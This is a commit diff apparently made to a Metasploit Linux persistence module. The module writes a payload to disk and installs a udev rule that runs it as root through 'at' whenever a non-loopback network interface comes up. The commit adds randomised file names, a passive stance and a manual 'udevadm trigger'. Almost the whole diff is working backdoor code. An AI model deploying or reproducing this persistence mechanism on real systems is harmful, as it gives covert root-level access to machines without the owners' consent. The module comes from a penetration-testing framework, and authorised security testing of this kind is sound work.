@@ -18,14 +18,18 @@ def initialize(info = {})
1818 It'll be executed with root privileges everytime a network interface other than l0 comes up.
1919 } ,
2020 'License' => MSF_LICENSE ,
21- 'Author' => [ 'Julien Voisin' ] ,
21+ 'Author' => [
22+ 'Julien Voisin'
23+ ] ,
2224 'Platform' => [ 'unix' , 'linux' ] ,
2325 'Arch' => ARCH_CMD ,
2426 'SessionTypes' => [ 'shell' , 'meterpreter' ] ,
25- 'DefaultOptions' => { 'WfsDelay' => 0 , 'DisablePayloadHandler' => true } ,
27+ 'DefaultOptions' => { 'WfsDelay' => 90_000 } ,
2628 'Targets' => [ [ 'Automatic' , { } ] ] ,
2729 'DefaultTarget' => 0 ,
2830 'DisclosureDate' => '1999-01-01' ,
31+ 'Passive' => true ,
32+ 'Stance' => Msf ::Exploit ::Stance ::Passive ,
2933 'Notes' => {
3034 'Stability' => [ ] ,
3135 'Reliability' => [ EVENT_DEPENDENT ] ,
@@ -37,33 +41,58 @@ def initialize(info = {})
3741 ]
3842 )
3943 )
40- register_options ( [ OptString . new ( 'PAYLOAD_PATH' , [ true , 'The payload\'s path on disk' , '/usr/bin/udev-check-updates' ] ) ] )
41- register_options ( [ OptString . new ( 'BACKDOOR_PATH' , [ true , 'The backdoor\'s path on disk' , '/lib/udev/rules.d/99-update.rules' ] ) ] )
44+ register_options ( [
45+
46+ OptString . new ( 'PAYLOAD_PATH' , [ false , 'The payload\'s path on disk' , '' ] ) ,
47+ OptString . new ( 'BACKDOOR_PATH' , [ false , 'The backdoor\'s path on disk' , '' ] )
48+ ] )
4249 end
4350
44- def exploit
51+ def get_command
4552 unless executable? '/usr/bin/at'
4653 fail_with Failure ::BadConfig , 'The required /usr/bin/at binary was not found on the target'
4754 end
55+ %(/usr/bin/at -M -f #{ @payload_path } now)
56+ end
4857
49- unless writable? File . dirname ( datastore [ 'BACKDOOR_PATH' ] )
50- fail_with Failure ::BadConfig , "#{ datastore [ 'BACKDOOR_PATH' ] } is not writable"
58+ def exploit
59+ @payload_path = datastore [ 'PAYLOAD_PATH' ] . blank? ? '/usr/bin/' + Rex ::Text . rand_text_alphanumeric ( 8 ) : datastore [ 'PAYLOAD_PATH' ]
60+
61+ @backdoor_path = datastore [ 'BACKDOOR_PATH' ] . blank? ? '/lib/udev/rules.d/' + Rex ::Text . rand_text_alphanumeric ( 8 ) + '.rules' : datastore [ 'BACKDOOR_PATH' ]
62+
63+ unless writable? File . dirname ( @backdoor_path )
64+ fail_with Failure ::BadConfig , "#{ @backdoor_path } is not writable"
5165 end
52- if exists? datastore [ 'BACKDOOR_PATH' ]
53- fail_with Failure ::BadConfig , "#{ datastore [ 'BACKDOOR_PATH' ] } is already present"
66+
67+ if exists? @backdoor_path
68+ fail_with Failure ::BadConfig , "#{ @backdoor_path } is already present"
5469 end
5570
56- unless writable? File . dirname ( datastore [ 'PAYLOAD_PATH' ] )
57- fail_with Failure ::BadConfig , "#{ datastore [ 'PAYLOAD_PATH' ] } is not writable"
71+ unless writable? File . dirname ( @payload_path )
72+ fail_with Failure ::BadConfig , "#{ @payload_path } is not writable"
5873 end
59- if exists? datastore [ 'PAYLOAD_PATH' ]
60- fail_with Failure ::BadConfig , "#{ datastore [ 'PAYLOAD_PATH' ] } is already present"
74+
75+ if exists? @payload_path
76+ fail_with Failure ::BadConfig , "#{ @payload_path } is already present"
6177 end
6278
63- upload_and_chmodx ( datastore [ 'PAYLOAD_PATH' ] , "#!/bin/sh\n #{ payload . encoded } " )
64- print_status "#{ datastore [ 'PAYLOAD_PATH' ] } written"
79+ upload_and_chmodx ( @payload_path , "#!/bin/sh\n #{ payload . encoded } " )
80+ print_status "#{ @payload_path } written"
81+
82+ fail_with Failure ::PayloadFailed , 'Failed to write UDEV file' unless write_file ( @backdoor_path , %(SUBSYSTEM=="net", KERNEL!="lo", RUN+="#{ get_command } ") )
83+
84+ print_status "#{ @backdoor_path } written"
6585
66- write_file ( datastore [ 'BACKDOOR_PATH' ] , 'SUBSYSTEM=="net", KERNEL!="lo", RUN+="/usr/bin/at -M -f ' + datastore [ 'PAYLOAD_PATH' ] + ' now"' )
67- print_status "#{ datastore [ 'BACKDOOR_PATH' ] } written"
86+ # need to trigger first rule manually
87+ print_status 'Triggering udev rule'
88+ cmd_exec ( 'udevadm trigger -v --subsystem-match=net' )
89+
90+ stime = Time . now . to_f
91+ timeout = datastore [ 'ListenerTimeout' ] . to_i
92+ loop do
93+ break if timeout > 0 && ( stime + timeout < Time . now . to_f )
94+
95+ Rex ::ThreadSafe . sleep ( 1 )
96+ end
6897 end
6998end
0 commit comments